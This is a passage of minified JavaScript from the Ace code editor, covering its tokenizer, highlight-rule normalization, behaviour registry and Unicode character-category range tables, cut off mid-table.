t=this.splitRegex.exec(e);if(!t)return\"text\";var n=[],r=this.tokenArray;for(var i=0,s=r.length;i<s;i++)t[i+1]&&(n[n.length]={type:r[i],value:t[i+1]});return n},this.removeCapturingGroups=function(e){var t=e.replace(/\\[(?:\\\\.|[^\\]])*?\\]|\\\\.|\\(\\?[:=!]|(\\()/g,function(e,t){return t?\"(?:\":e});return t},this.createSplitterRegexp=function(e,t){if(e.indexOf(\"(?=\")!=-1){var n=0,r=!1,i={};e.replace(/(\\\\.)|(\\((?:\\?[=!])?)|(\\))|([\\[\\]])/g,function(e,t,s,o,u,a){return r?r=u!=\"]\":u?r=!0:o?(n==i.stack&&(i.end=a+1,i.stack=-1),n--):s&&(n++,s.length!=1&&(i.stack=n,i.start=a)),e}),i.end!=null&&/^\\)*$/.test(e.substr(i.end))&&(e=e.substring(0,i.start)+e.substr(i.end))}return new RegExp(e,(t||\"\").replace(\"g\",\"\"))},this.getLineTokens=function(e,t){if(t&&typeof t!=\"string\"){var n=t.slice(0);t=n[0],t===\"#tmp\"&&(n.shift(),t=n.shift())}else var n=[];var r=t||\"start\",s=this.states[r];s||(r=\"start\",s=this.states[r]);var o=this.matchMappings[r],u=this.regExps[r];u.lastIndex=0;var a,f=[],l=0,c=0,h={type:null,value:\"\"};while(a=u.exec(e)){var p=o.defaultToken,d=null,v=a[0],m=u.lastIndex;if(m-v.length>l){var g=e.substring(l,m-v.length);h.type==p?h.value+=g:(h.type&&f.push(h),h={type:p,value:g})}for(var y=0;y<a.length-2;y++){if(a[y+1]===undefined)continue;d=s[o[y]],d.onMatch?p=d.onMatch(v,r,n):p=d.token,d.next&&(typeof d.next==\"string\"?r=d.next:r=d.next(r,n),s=this.states[r],s||(this.reportError(\"state doesn't exist\",r),r=\"start\",s=this.states[r]),o=this.matchMappings[r],l=m,u=this.regExps[r],u.lastIndex=m);break}if(v)if(typeof p==\"string\")!!d&&d.merge===!1||h.type!==p?(h.type&&f.push(h),h={type:p,value:v}):h.value+=v;else if(p){h.type&&f.push(h),h={type:null,value:\"\"};for(var y=0;y<p.length;y++)f.push(p[y])}if(l==e.length)break;l=m;if(c++>i){c>2*e.length&&this.reportError(\"infinite loop with in ace tokenizer\",{startState:t,line:e});while(l<e.length)h.type&&f.push(h),h={value:e.substring(l,l+=2e3),type:\"overflow\"};r=\"start\",n=[];break}}return h.type&&f.push(h),n.length>1&&n[0]!==r&&n.unshift(\"#tmp\",r),{tokens:f,state:n.length?n:r}},this.reportError=r.reportError}).call(s.prototype),t.Tokenizer=s}),ace.define(\"ace/mode/text_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../lib/lang\"),i=function(){this.$rules={start:[{token:\"empty_line\",regex:\"^$\"},{defaultToken:\"text\"}]}};(function(){this.addRules=function(e,t){if(!t){for(var n in e)this.$rules[n]=e[n];return}for(var n in e){var r=e[n];for(var i=0;i<r.length;i++){var s=r[i];if(s.next||s.onMatch)typeof s.next!=\"string\"?s.nextState&&s.nextState.indexOf(t)!==0&&(s.nextState=t+s.nextState):s.next.indexOf(t)!==0&&(s.next=t+s.next)}this.$rules[t+n]=r}},this.getRules=function(){return this.$rules},this.embedRules=function(e,t,n,i,s){var o=typeof e==\"function\"?(new e).getRules():e;if(i)for(var u=0;u<i.length;u++)i[u]=t+i[u];else{i=[];for(var a in o)i.push(t+a)}this.addRules(o,t);if(n){var f=Array.prototype[s?\"push\":\"unshift\"];for(var u=0;u<i.length;u++)f.apply(this.$rules[i[u]],r.deepCopy(n))}this.$embeds||(this.$embeds=[]),this.$embeds.push(t)},this.getEmbeds=function(){return this.$embeds};var e=function(e,t){return(e!=\"start\"||t.length)&&t.unshift(this.nextState,e),this.nextState},t=function(e,t){return t.shift(),t.shift()||\"start\"};this.normalizeRules=function(){function i(s){var o=r[s];o.processed=!0;for(var u=0;u<o.length;u++){var a=o[u];!a.regex&&a.start&&(a.regex=a.start,a.next||(a.next=[]),a.next.push({defaultToken:a.token},{token:a.token+\".end\",regex:a.end||a.start,next:\"pop\"}),a.token=a.token+\".start\",a.push=!0);var f=a.next||a.push;if(f&&Array.isArray(f)){var l=a.stateName;l||(l=a.token,typeof l!=\"string\"&&(l=l[0]||\"\"),r[l]&&(l+=n++)),r[l]=f,a.next=l,i(l)}else f==\"pop\"&&(a.next=t);a.push&&(a.nextState=a.next||a.push,a.next=e,delete a.push);if(a.rules)for(var c in a.rules)r[c]?r[c].push&&r[c].push.apply(r[c],a.rules[c]):r[c]=a.rules[c];if(a.include||typeof a==\"string\")var h=a.include||a,p=r[h];else Array.isArray(a)&&(p=a);if(p){var d=[u,1].concat(p);a.noEscape&&(d=d.filter(function(e){return!e.next})),o.splice.apply(o,d),u--,p=null}a.keywordMap&&(a.token=this.createKeywordMapper(a.keywordMap,a.defaultToken||\"text\",a.caseInsensitive),delete a.defaultToken)}}var n=0,r=this.$rules;Object.keys(r).forEach(i,this)},this.createKeywordMapper=function(e,t,n,r){var i=Object.create(null);return Object.keys(e).forEach(function(t){var s=e[t];n&&(s=s.toLowerCase());var o=s.split(r||\"|\");for(var u=o.length;u--;)i[o[u]]=t}),Object.getPrototypeOf(i)&&(i.__proto__=null),this.$keywordList=Object.keys(i),e=null,n?function(e){return i[e.toLowerCase()]||t}:function(e){return i[e]||t}},this.getKeywords=function(){return this.$keywords}}).call(i.prototype),t.TextHighlightRules=i}),ace.define(\"ace/mode/behaviour\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";var r=function(){this.$behaviours={}};(function(){this.add=function(e,t,n){switch(undefined){case this.$behaviours:this.$behaviours={};case this.$behaviours[e]:this.$behaviours[e]={}}this.$behaviours[e][t]=n},this.addBehaviours=function(e){for(var t in e)for(var n in e[t])this.add(t,n,e[t][n])},this.remove=function(e){this.$behaviours&&this.$behaviours[e]&&delete this.$behaviours[e]},this.inherit=function(e,t){if(typeof e==\"function\")var n=(new e).getBehaviours(t);else var n=e.getBehaviours(t);this.addBehaviours(n)},this.getBehaviours=function(e){if(!e)return this.$behaviours;var t={};for(var n=0;n<e.length;n++)this.$behaviours[e[n]]&&(t[e[n]]=this.$behaviours[e[n]]);return t}}).call(r.prototype),t.Behaviour=r}),ace.define(\"ace/unicode\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";function r(e){var n=/\\w{4}/g;for(var r in e)t.packages[r]=e[r].replace(n,\"\\\\u$&\")}t.packages={},r({L:\"0041-005A0061-007A00AA00B500BA00C0-00D600D8-00F600F8-02C102C6-02D102E0-02E402EC02EE0370-037403760377037A-037D03860388-038A038C038E-03A103A3-03F503F7-0481048A-05250531-055605590561-058705D0-05EA05F0-05F20621-064A066E066F0671-06D306D506E506E606EE06EF06FA-06FC06FF07100712-072F074D-07A507B107CA-07EA07F407F507FA0800-0815081A082408280904-0939093D09500958-0961097109720979-097F0985-098C098F09900993-09A809AA-09B009B209B6-09B909BD09CE09DC09DD09DF-09E109F009F10A05-0A0A0A0F0A100A13-0A280A2A-0A300A320A330A350A360A380A390A59-0A5C0A5E0A72-0A740A85-0A8D0A8F-0A910A93-0AA80AAA-0AB00AB20AB30AB5-0AB90ABD0AD00AE00AE10B05-0B0C0B0F0B100B13-0B280B2A-0B300B320B330B35-0B390B3D0B5C0B5D0B5F-0B610B710B830B85-0B8A0B8E-0B900B92-0B950B990B9A0B9C0B9E0B9F0BA30BA40BA8-0BAA0BAE-0BB90BD00C05-0C0C0C0E-0C100C12-0C280C2A-0C330C35-0C390C3D0C580C590C600C610C85-0C8C0C8E-0C900C92-0CA80CAA-0CB30CB5-0CB90CBD0CDE0CE00CE10D05-0D0C0D0E-0D100D12-0D280D2A-0D390D3D0D600D610D7A-0D7F0D85-0D960D9A-0DB10DB3-0DBB0DBD0DC0-0DC60E01-0E300E320E330E40-0E460E810E820E840E870E880E8A0E8D0E94-0E970E99-0E9F0EA1-0EA30EA50EA70EAA0EAB0EAD-0EB00EB20EB30EBD0EC0-0EC40EC60EDC0EDD0F000F40-0F470F49-0F6C0F88-0F8B1000-102A103F1050-1055105A-105D106110651066106E-10701075-1081108E10A0-10C510D0-10FA10FC1100-1248124A-124D1250-12561258125A-125D1260-1288128A-128D1290-12B012B2-12B512B8-12BE12C012C2-12C512C8-12D612D8-13101312-13151318-135A1380-138F13A0-13F41401-166C166F-167F1681-169A16A0-16EA1700-170C170E-17111720-17311740-17511760-176C176E-17701780-17B317D717DC1820-18771880-18A818AA18B0-18F51900-191C1950-196D1970-19741980-19AB19C1-19C71A00-1A161A20-1A541AA71B05-1B331B45-1B4B1B83-1BA01BAE1BAF1C00-1C231C4D-1C4F1C5A-1C7D1CE9-1CEC1CEE-1CF11D00-1DBF1E00-1F151F18-1F1D1F20-1F451F48-1F4D1F50-1F571F591F5B1F5D1F5F-1F7D1F80-1FB41FB6-1FBC1FBE1FC2-1FC41FC6-1FCC1FD0-1FD31FD6-1FDB1FE0-1FEC1FF2-1FF41FF6-1FFC2071207F2090-209421022107210A-211321152119-211D212421262128212A-212D212F-2139213C-213F2145-2149214E218321842C00-2C2E2C30-2C5E2C60-2CE42CEB-2CEE2D00-2D252D30-2D652D6F2D80-2D962DA0-2DA62DA8-2DAE2DB0-2DB62DB8-2DBE2DC0-2DC62DC8-2DCE2DD0-2DD62DD8-2DDE2E2F300530063031-3035303B303C3041-3096309D-309F30A1-30FA30FC-30FF3105-312D3131-318E31A0-31B731F0-31FF3400-4DB54E00-9FCBA000-A48CA4D0-A4FDA500-A60CA610-A61FA62AA62BA640-A65FA662-A66EA67F-A697A6A0-A6E5A717-A71FA722-A788A78BA78CA7FB-A801A803-A805A807-A80AA80C-A822A840-A873A882-A8B3A8F2-A8F7A8FBA90A-A925A930-A946A960-A97CA984-A9B2A9CFAA00-AA28AA40-AA42AA44-AA4BAA60-AA76AA7AAA80-AAAFAAB1AAB5AAB6AAB9-AABDAAC0AAC2AADB-AADDABC0-ABE2AC00-D7A3D7B0-D7C6D7CB-D7FBF900-FA2DFA30-FA6DFA70-FAD9FB00-FB06FB13-FB17FB1DFB1F-FB28FB2A-FB36FB38-FB3CFB3EFB40FB41FB43FB44FB46-FBB1FBD3-FD3DFD50-FD8FFD92-FDC7FDF0-FDFBFE70-FE74FE76-FEFCFF21-FF3AFF41-FF5AFF66-FFBEFFC2-FFC7FFCA-FFCFFFD2-FFD7FFDA-FFDC\",Ll:\"0061-007A00AA00B500BA00DF-00F600F8-00FF01010103010501070109010B010D010F01110113011501170119011B011D011F01210123012501270129012B012D012F01310133013501370138013A013C013E014001420144014601480149014B014D014F01510153015501570159015B015D015F01610163016501670169016B016D016F0171017301750177017A017C017E-0180018301850188018C018D019201950199-019B019E01A101A301A501A801AA01AB01AD01B001B401B601B901BA01BD-01BF01C601C901CC01CE01D001D201D401D601D801DA01DC01DD01DF01E101E301E501E701E901EB01ED01EF01F001F301F501F901FB01FD01FF02010203020502070209020B020D020F02110213021502170219021B021D021F02210223022502270229022B022D022F02310233-0239023C023F0240024202470249024B024D024F-02930295-02AF037103730377037B-037D039003AC-03CE03D003D103D5-03D703D903DB03DD03DF03E103E303E503E703E903EB03ED03EF-03F303F503F803FB03FC0430-045F04610463046504670469046B046D046F04710473047504770479047B047D047F0481048B048D048F04910493049504970499049B049D049F04A104A304A504A704A904AB04AD04AF04B104B304B504B704B904BB04BD04BF04C204C404C604C804CA04CC04CE04CF04D104D304D504D704D904DB04DD04DF04E104E304E504E704E904EB04ED04EF04F104F304F504F704F904FB04FD04FF05010503050505070509050B050D050F05110513051505170519051B051D051F0521052305250561-05871D00-1D2B1D62-1D771D79-1D9A1E011E031E051E071E091E0B1E0D1E0F1E111E131E151E171E191E1B1E1D1E1F1E211E231E251E271E291E2B1E2D1E2F1E311E331E351E371E391E3B1E3D1E3F1E411E431E451E471E491E4B1E4D1E4F1E511E531E551E571E591E5B1E5D1E5F1E611E631E651E671E691E6B1E6D1E6F1E711E731E751E771E791E7B1E7D1E7F1E811E831E851E871E891E8B1E8D1E8F1E911E931E95-1E9D1E9F1EA11EA31EA51EA71EA91EAB1EAD1EAF1EB11EB31EB51EB71EB91EBB1EBD1EBF1EC11EC31EC51EC71EC91ECB1ECD1ECF1ED11ED31ED51ED71ED91EDB1EDD1EDF1EE11EE31EE51EE71EE91EEB1EED1EEF1EF11EF31EF51EF71EF91EFB1EFD1EFF-1F071F10-1F151F20-1F271F30-1F371F40-1F451F50-1F571F60-1F671F70-1F7D1F80-1F871F90-1F971FA0-1FA71FB0-1FB41FB61FB71FBE1FC2-1FC41FC61FC71FD0-1FD31FD61FD71FE0-1FE71FF2-1FF41FF61FF7210A210E210F2113212F21342139213C213D2146-2149214E21842C30-2C5E2C612C652C662C682C6A2C6C2C712C732C742C76-2C7C2C812C832C852C872C892C8B2C8D2C8F2C912C932C952C972C992C9B2C9D2C9F2CA12CA32CA52CA72CA92CAB2CAD2CAF2CB12CB32CB52CB72CB92CBB2CBD2CBF2CC12CC32CC52CC72CC92CCB2CCD2CCF2CD12CD32CD52CD72CD92CDB2CDD2CDF2CE12CE32CE42CEC2CEE2D00-2D25A641A643A645A647A649A64BA64DA64FA651A653A655A657A659A65BA65DA65FA663A665A667A669A66BA66DA681A683A685A687A689A68BA68DA68FA691A693A695A697A723A725A727A729A72BA72DA72F-A731A733A735A737A739A73BA73DA73FA741A743A745A747A749A74BA74DA74FA751A753A755A757A759A75BA75DA75FA761A763A765A767A769A76BA76DA76FA771-A778A77AA77CA77FA781A783A785A787A78CFB00-FB06FB13-FB17FF41-FF5A\",Lu:\"0041-005A00C0-00D600D8-00DE01000102010401060108010A010C010E01100112011401160118011A011C011E01200122012401260128012A012C012E01300132013401360139013B013D013F0141014301450147014A014C014E01500152015401560158015A015C015E01600162016401660168016A016C016E017001720174017601780179017B017D018101820184018601870189-018B018E-0191019301940196-0198019C019D019F01A001A201A401A601A701A901AC01AE01AF01B1-01B301B501B701B801BC01C401C701CA01CD01CF01D101D301D501D701D901DB01DE01E001E201E401E601E801EA01EC01EE01F101F401F6-01F801FA01FC01FE02000202020402060208020A020C020E02100212021402160218021A021C021E02200222022402260228022A022C022E02300232023A023B023D023E02410243-02460248024A024C024E03700372037603860388-038A038C038E038F0391-03A103A3-03AB03CF03D2-03D403D803DA03DC03DE03E003E203E403E603E803EA03EC03EE03F403F703F903FA03FD-042F04600462046404660468046A046C046E04700472047404760478047A047C047E0480048A048C048E04900492049404960498049A049C049E04A004A204A404A604A804AA04AC04AE04B004B204B404B604B804BA04BC04BE04C004C104C304C504C704C904CB04CD04D004D204D404D604D804DA04DC04DE04E004E204E404E604E804EA04EC04EE04F004F204F404F604F804FA04FC04FE05000502050405060508050A050C050E05100512051405160518051A051C051E0520052205240531-055610A0-10C51E001E021E041E061E081E0A1E0C1E0E1E101E121E141E161E181E1A1E1C1E1E1E201E221E241E261E281E2A1E2C1E2E1E301E321E341E361E381E3A1E3C1E3E1E401E421E441E461E481E4A1E4C1E4E1E501E521E541E561E581E5A1E5C1E5E1E601E621E641E661E681E6A1E6C1E6E1E701E721E741E761E781E7A1E7C1E7E1E801E821E841E861E881E8A1E8C1E8E1E901E921E941E9E1EA01EA21EA41EA61EA81EAA1EAC1EAE1EB01EB21EB41EB61EB81EBA1EBC1EBE1EC01EC21EC41EC61EC81ECA1ECC1ECE1ED01ED21ED41ED61ED81EDA1EDC1EDE1EE01EE21EE41EE61EE81EEA1EEC1EEE1EF01EF21EF41EF61EF81EFA1EFC1EFE1F08-1F0F1F18-1F1D1F28-1F2F1F38-1F3F1F48-1F4D1F591F5B1F5D1F5F1F68-1F6F1FB8-1FBB1FC8-1FCB1FD8-1FDB1FE8-1FEC1FF8-1FFB21022107210B-210D2110-211221152119-211D212421262128212A-212D2130-2133213E213F214521832C00-2C2E2C602C62-2C642C672C692C6B2C6D-2C702C722C752C7E-2C802C822C842C862C882C8A2C8C2C8E2C902C922C942C962C982C9A2C9C2C9E2CA02CA22CA42CA62CA82CAA2CAC2CAE2CB02CB22CB42CB62CB82CBA2CBC2CBE2CC02CC22CC42CC62CC82CCA2CCC2CCE2CD02CD22CD42CD62CD82CDA2CDC2CDE2CE02CE22CEB2CEDA640A642A644A646A648A64AA64CA64EA650A652A654A656A658A65AA65CA65EA662A664A666A668A66AA66CA680A682A684A686A688A68AA68CA68EA690A692A694A696A722A724A726A728A72AA72CA72EA732A734A736A738A73AA73CA73EA740A742A744A746A748A74AA74CA74EA750A752A754A756A758A75AA75CA75EA760A762A764A766A768A76AA76CA76EA779A77BA77DA77EA780A782A784A786A78BFF21-FF3A\",Lt:\"01C501C801CB01F21F88-1F8F1F98-1F9F1FA8-1FAF1FBC1FCC1FFC\",Lm:\"02B0-02C102C6-02D102E0-02E402EC02EE0374037A0559064006E506E607F407F507FA081A0824082809710E460EC610FC17D718431AA71C78-1C7D1D2C-1D611D781D9B-1DBF2071207F2090-20942C7D2D6F2E2F30053031-3035303B309D309E30FC-30FEA015A4F8-A4FDA60CA67FA717-A71FA770A788A9CFAA70AADDFF70FF9EFF9F\",Lo:\"01BB01C0-01C3029405D0-05EA05F0-05F20621-063F0641-064A066E066F0671-06D306D506EE06EF06FA-06FC06FF07100712-072F074D-07A507B107CA-07EA0800-08150904-0939093D09500958-096109720979-097F0985-098C098F09900993-09A809AA-09B009B209B6-09B909BD09CE09DC09DD09DF-09E109F009F10A05-0A0A0A0F0A100A13-0A280A2A-0A300A320A330A350A360A380A390A59-0A5C0A5E0A72-0A740A85-0A8D0A8F-0A910A93-0AA80AAA-0AB00AB20AB30AB5-0AB90ABD0AD00AE00AE10B05-0B0C0B0F0B100B13-0B280B2A-0B300B320B330B35-0B390B3D0B5C0B5D0B5F-0B610B710B830B85-0B8A0B8E-0B900B92-0B950B990B9A0B9C0B9E0B9F0BA30BA40BA8-0BAA0BAE-0BB90BD00C05-0C0C0C0E-0C100C12-0C280C2A-0C330C35-0C390C3D0C580C590C600C610C85-0C8C0C8E-0C900C92-0CA80CAA-0CB30CB5-0CB90CBD0CDE0CE00CE10D05-0D0C0D0E-0D100D12-0D280D2A-0D390D3D0D600D610D7A-0D7F0D85-0D960D9A-0DB10DB3-0DBB0DBD0DC0-0DC60E01-0E300E320E330E40-0E450E810E820E840E870E880E8A0E8D0E94-0E970E99-0E9F0EA1-0EA30EA50EA70EAA0EAB0EAD-0EB00EB20EB30EBD0EC0-0EC40EDC0EDD0F000F40-0F470F49-0F6C0F88-0F8B1000-102A103F1050-1055105A-105D106110651066106E-10701075-1081108E10D0-10FA1100-1248124A-124D1250-12561258125A-125D1260-1288128A-128D1290-12B012B2-12B512B8-12BE12C012C2-12C512C8-12D612D8-13101312-13151318-135A1380-138F13A0-13F41401-166C166F-167F1681-169A16A0-16EA1700-170C170E-17111720-17311740-17511760-176C176E-17701780-17B317DC1820-18421844-18771880-18A818AA18B0-18F51900-191C1950-196D1970-19741980-19AB19C1-19C71A00-1A161A20-1A541B05-1B331B45-1B4B1B83-1BA01BAE1BAF1C00-1C231C4D-1C4F1C5A-1C771CE9-1CEC1CEE-1CF12135-21382D30-2D652D80-2D962DA0-2DA62DA8-2DAE2DB0-2DB62DB8-2DBE2DC0-2DC62DC8-2DCE2DD0-2DD62DD8-2DDE3006303C3041-3096309F30A1-30FA30FF3105-312D3131-318E31A0-31B731F0-31FF3400-4DB54E00-9FCBA000-A014A016-A48CA4D0-A4F7A500-A60BA610-A61FA62AA62BA66EA6A0-A6E5A7FB-A801A803-A805A807-A80AA80C-A822A840-A873A882-A8B3A8F2-A8F7A8FBA90A-A925A930-A946A960-A97CA984-A9B2AA00-AA28AA40-AA42AA44-AA4BAA60-AA6FAA71-AA76AA7AAA80-AAAFAAB1AAB5AAB6AAB9-AABDAAC0AAC2AADBAADCABC0-ABE2AC00-D7A3D7B0-D7C6D7CB-D7FBF900-FA2DFA30-FA6DFA70-FAD9FB1DFB1F-FB28FB2A-FB36FB38-FB3CFB3EFB40FB41FB43FB44FB46-FBB1FBD3-FD3DFD50-FD8FFD92-FDC7FDF0-FDFBFE70-FE74FE76-FEFCFF66-FF6FFF71-FF9DFFA0-FFBEFFC2-FFC7FFCA-FFCFFFD2-FFD7FFDA-FFDC\",M:\"0300-036F0483-04890591-05BD05BF05C105C205C405C505C70610-061A064B-065E067006D6-06DC06DE-06E406E706E806EA-06ED07110730-074A07A6-07B007EB-07F30816-0819081B-08230825-08270829-082D0900-0903093C093E-094E0951-0955096209630981-098309BC09BE-09C409C709C809CB-09CD09D709E209E30A01-0A030A3C0A3E-0A420A470A480A4B-0A4D0A510A700A710A750A81-0A830ABC0ABE-0AC50AC7-0AC90ACB-0ACD0AE20AE30B01-0B030B3C0B3E-0B440B470B480B4B-0B4D0B560B570B620B630B820BBE-0BC20BC6-0BC80BCA-0BCD0BD70C01-0C030C3E-0C440C46-0C480C4A-0C4D0C550C560C620C630C820C830CBC0CBE-0CC40CC6-0CC80CCA-0CCD0CD50CD60CE20CE30D020D030D3E-0D440D46-0D480D4A-0D4D0D570D620D630D820D830DCA0DCF-0DD40DD60DD8-0DDF0DF20DF30E310E34-0E3A0E47-0E4E0EB10EB4-0EB90EBB0EBC0EC8-0ECD0F180F190F350F370F390F3E0F3F0F71-0F840F860F870F90-0F970F99-0FBC0FC6102B-103E1056-1059105E-10601062-10641067-106D1071-10741082-108D108F109A-109D135F1712-17141732-1734175217531772177317B6-17D317DD180B-180D18A91920-192B1930-193B19B0-19C019C819C91A17-1A1B1A55-1A5E1A60-1A7C1A7F1B00-1B041B34-1B441B6B-1B731B80-1B821BA1-1BAA1C24-1C371CD0-1CD21CD4-1CE81CED1CF21DC0-1DE61DFD-1DFF20D0-20F02CEF-2CF12DE0-2DFF302A-302F3099309AA66F-A672A67CA67DA6F0A6F1A802A806A80BA823-A827A880A881A8B4-A8C4A8E0-A8F1A926-A92DA947-A953A980-A983A9B3-A9C0AA29-AA36AA43AA4CAA4DAA7BAAB0AAB2-AAB4AAB7AAB8AABEAABFAAC1ABE3-ABEAABECABEDFB1EFE00-FE0FFE20-FE26\",Mn:\"0300-036F0483-04870591-05BD05BF05C105C205C405C505C70610-061A064B-065E067006D6-06DC06DF-06E406E706E806EA-06ED07110730-074A07A6-07B007EB-07F30816-0819081B-08230825-08270829-082D0900-0902093C0941-0948094D0951-095509620963098109BC09C1-09C409CD09E209E30A010A020A3C0A410A420A470A480A4B-0A4D0A510A700A710A750A810A820ABC0AC1-0AC50AC70AC80ACD0AE20AE30B010B3C0B3F0B41-0B440B4D0B560B620B630B820BC00BCD0C3E-0C400C46-0C480C4A-0C4D0C550C560C620C630CBC0CBF0CC60CCC0CCD0CE20CE30D41-0D440D4D0D620D630DCA0DD2-0DD40DD60E310E34-0E3A0E47-0E4E0EB10EB4-0EB90EBB0EBC0EC8-0ECD0F180F190F350F370F390F71-0F7E0F80-0F840F860F870F90-0F970F99-0FBC0FC6102D-10301032-10371039103A103D103E10581059105E-10601071-1074108210851086108D109D135F1712-17141732-1734175217531772177317B7-17BD17C617C9-17D317DD180B-180D18A91920-19221927192819321939-193B1A171A181A561A58-1A5E1A601A621A65-1A6C1A73-1A7C1A7F1B00-1B031B341B36-1B3A1B3C1B421B6B-1B731B801B811BA2-1BA51BA81BA91C2C-1C331C361C371CD0-1CD21CD4-1CE01CE2-1CE81CED1DC0-1DE61DFD-1DFF20D0-20DC20E120E5-20F02CEF-2CF12DE0-2DFF302A-302F3099309AA66FA67CA67DA6F0A6F1A802A806A80BA825A826A8C4A8E0-A8F1A926-A92DA947-A951A980-A982A9B3A9B6-A9B9A9BCAA29-AA2EAA31AA32AA35AA36AA43AA4CAAB0AAB2-AAB4AAB7AAB8AABEAABFAAC1ABE5ABE8ABEDFB1EFE00-FE0FFE20-FE26\",Mc:\"0903093E-09400949-094C094E0982098309BE-09C009C709C809CB09CC09D70A030A3E-0A400A830ABE-0AC00AC90ACB0ACC0B020B030B3E0B400B470B480B4B0B4C0B570BBE0BBF0BC10BC20BC6-0BC80BCA-0BCC0BD70C01-0C030C41-0C440C820C830CBE0CC0-0CC40CC70CC80CCA0CCB0CD50CD60D020D030D3E-0D400D46-0D480D4A-0D4C0D570D820D830DCF-0DD10DD8-0DDF0DF20DF30F3E0F3F0F7F102B102C10311038103B103C105610571062-10641067-106D108310841087-108C108F109A-109C17B617BE-17C517C717C81923-19261929-192B193019311933-193819B0-19C019C819C91A19-1A1B1A551A571A611A631A641A6D-1A721B041B351B3B1B3D-1B411B431B441B821BA11BA61BA71BAA1C24-1C2B1C341C351CE11CF2A823A824A827A880A881A8B4-A8C3A952A953A983A9B4A9B5A9BAA9BBA9BD-A9C0AA2FAA30AA33AA34AA4DAA7BABE3ABE4ABE6ABE7ABE9ABEAABEC\",Me:\"0488048906DE20DD-20E020E2-20E4A670-A672\",N:\"0030-003900B200B300B900BC-00BE0660-066906F0-06F907C0-07C90966-096F09E6-09EF09F4-09F90A66-0A6F0AE6-0AEF0B66-0B6F0BE6-0BF20C66-0C6F0C78-0C7E0CE6-0CEF0D66-0D750E50-0E590ED0-0ED90F20-0F331040-10491090-10991369-137C16EE-16F017E0-17E917F0-17F91810-18191946-194F19D0-19DA1A80-1A891A90-1A991B50-1B591BB0-1BB91C40-1C491C50-1C5920702074-20792080-20892150-21822185-21892460-249B24EA-24FF2776-27932CFD30073021-30293038-303A3192-31953220-32293251-325F3280-328932B1-32BFA620-A629A6E6-A6EFA830-A835A8D0-A8D9A900-A909A9D0-A9D9AA50-AA59ABF0-ABF9FF10-FF19\",Nd:\"0030-00390660-066906F0-06F907C0-07C90966-096F09E6-09EF0A66-0A6F0AE6-0AEF0B66-0B6F0BE6-0BEF0C66-0C6F0CE6-0CEF0D66-0D6F0E50-0E590ED0-0ED90F20-0F291040-10491090-109917E0-17E91810-18191946-194F19D0-19DA1A80-1A891A90-1A991B50-1B591BB0-1BB91C40-1C491C50-1C59A620-A629A8D0-A8D9A900-A909A9D0-A9D9AA50-AA59ABF0-ABF9FF10-FF19\",Nl:\"16EE-16F02160-21822185-218830073021-30293038-303AA6E6-A6EF\",No:\"00B200B300B900BC-00BE09F4-09F90BF0-0BF20C78-0C7E0D70-0D750F2A-0F331369-137C17F0-17F920702074-20792080-20892150-215F21892460-249B24EA-24FF2776-27932CFD3192-31953220-32293251-325F3280-328932B1-32BFA830-A835\",P:\"0021-00230025-002A002C-002F003A003B003F0040005B-005D005F007B007D00A100AB00B700BB00BF037E0387055A-055F0589058A05BE05C005C305C605F305F40609060A060C060D061B061E061F066A-066D06D40700-070D07F7-07F90830-083E0964096509700DF40E4F0E5A0E5B0F04-0F120F3A-0F3D0F850FD0-0FD4104A-104F10FB1361-13681400166D166E169B169C16EB-16ED1735173617D4-17D617D8-17DA1800-180A1944194519DE19DF1A1E1A1F1AA0-1AA61AA8-1AAD1B5A-1B601C3B-1C3F1C7E1C7F1CD32010-20272030-20432045-20512053-205E207D207E208D208E2329232A2768-277527C527C627E6-27EF2983-299829D8-29DB29FC29FD2CF9-2CFC2CFE2CFF2E00-2E2E2E302E313001-30033008-30113014-301F3030303D30A030FBA4FEA4FFA60D-A60FA673A67EA6F2-A6F7A874-A877A8CEA8CFA8F8-A8FAA92EA92FA95FA9C1-A9CDA9DEA9DFAA5C-AA5FAADEAADFABEBFD3EFD3FFE10-FE19FE30-FE52FE54-FE61FE63FE68FE6AFE6BFF01-FF03FF05-FF0AFF0C-FF0FFF1AFF1BFF1FFF20FF3B-FF3DFF3FFF5BFF5DFF5F-FF65\",Pd:\"002D058A05BE140018062010-20152E172E1A301C303030A0FE31FE32FE58FE63FF0D\",Ps:\"0028005B007B0F3A0F3C169B201A201E2045207D208D23292768276A276C276E27702772277427C527E627E827EA27EC27EE2983298529872989298B298D298F299129932995299729D829DA29FC2E222E242E262E283008300A300C300E3010301430163018301A301DFD3EFE17FE35FE37FE39FE3BFE3DFE3FFE41FE43FE47FE59FE5BFE5DFF08FF3BFF5BFF5FFF62\",Pe:\"0029005D007D0F3B0F3D169C2046207E208E232A2769276B276D276F27712773277527C627E727E927EB27ED27EF298429862988298A298C298E2990299229942996299829D929DB29FD2E232E252E272E293009300B300D300F3011301530173019301B301E301FFD3FFE18FE36FE38FE3AFE3CFE3EFE40FE42FE44FE48FE5AFE5CFE5EFF09FF3DFF5DFF60FF63\",Pi:\"00AB2018201B201C201F20392E022E042E092E0C2E1C2E20\",Pf:\"00BB2019201D203A2E032E052E0A2E0D2E1D2E21\",Pc:\"005F203F20402054FE33FE34FE4D-FE4FFF3F\",Po:\"0021-00230025-0027002A002C002E002F003A003B003F0040005C00A100B700BF037E0387055A-055F058905C005C305C605F305F40609060A060C060D061B061E061F066A-066D06D40700-070D07F7-07F90830-083E0964096509700DF40E4F0E5A0E5B0F04-0F120F850FD0-0FD4104A-104F10FB1361-1368166D166E16EB-16ED1735173617D4-17D617D8-17DA1800-18051807-180A1944194519DE19DF1A1E1A1F1AA0-1AA61AA8-1AAD1B5A-1B601C3B-1C3F1C7E1C7F1CD3201620172020-20272030-2038203B-203E2041-20432047-205120532055-205E2CF9-2CFC2CFE2CFF2E002E012E06-2E082E0B2E0E-2E162E182E192E1B2E1E2E1F2E2A-2E2E2E302E313001-3003303D30FBA4FEA4FFA60D-A60FA673A67EA6F2-A6F7A874-A877A8CEA8CFA8F8-A8FAA92EA92FA95FA9C1-A9CDA9DEA9DFAA5C-AA5FAADEAADFABEBFE10-FE16FE19FE30FE45FE46FE49-FE4CFE50-FE52FE54-FE57FE5F-FE61FE68FE6AFE6BFF01-FF03FF05-FF07FF0AFF0CFF0EFF0FFF1AFF1BFF1FFF20FF3CFF61FF64FF65\",S:\"0024002B003C-003E005E0060007C007E00A2-00A900AC00AE-00B100B400B600B800D700F702C2-02C502D2-02DF02E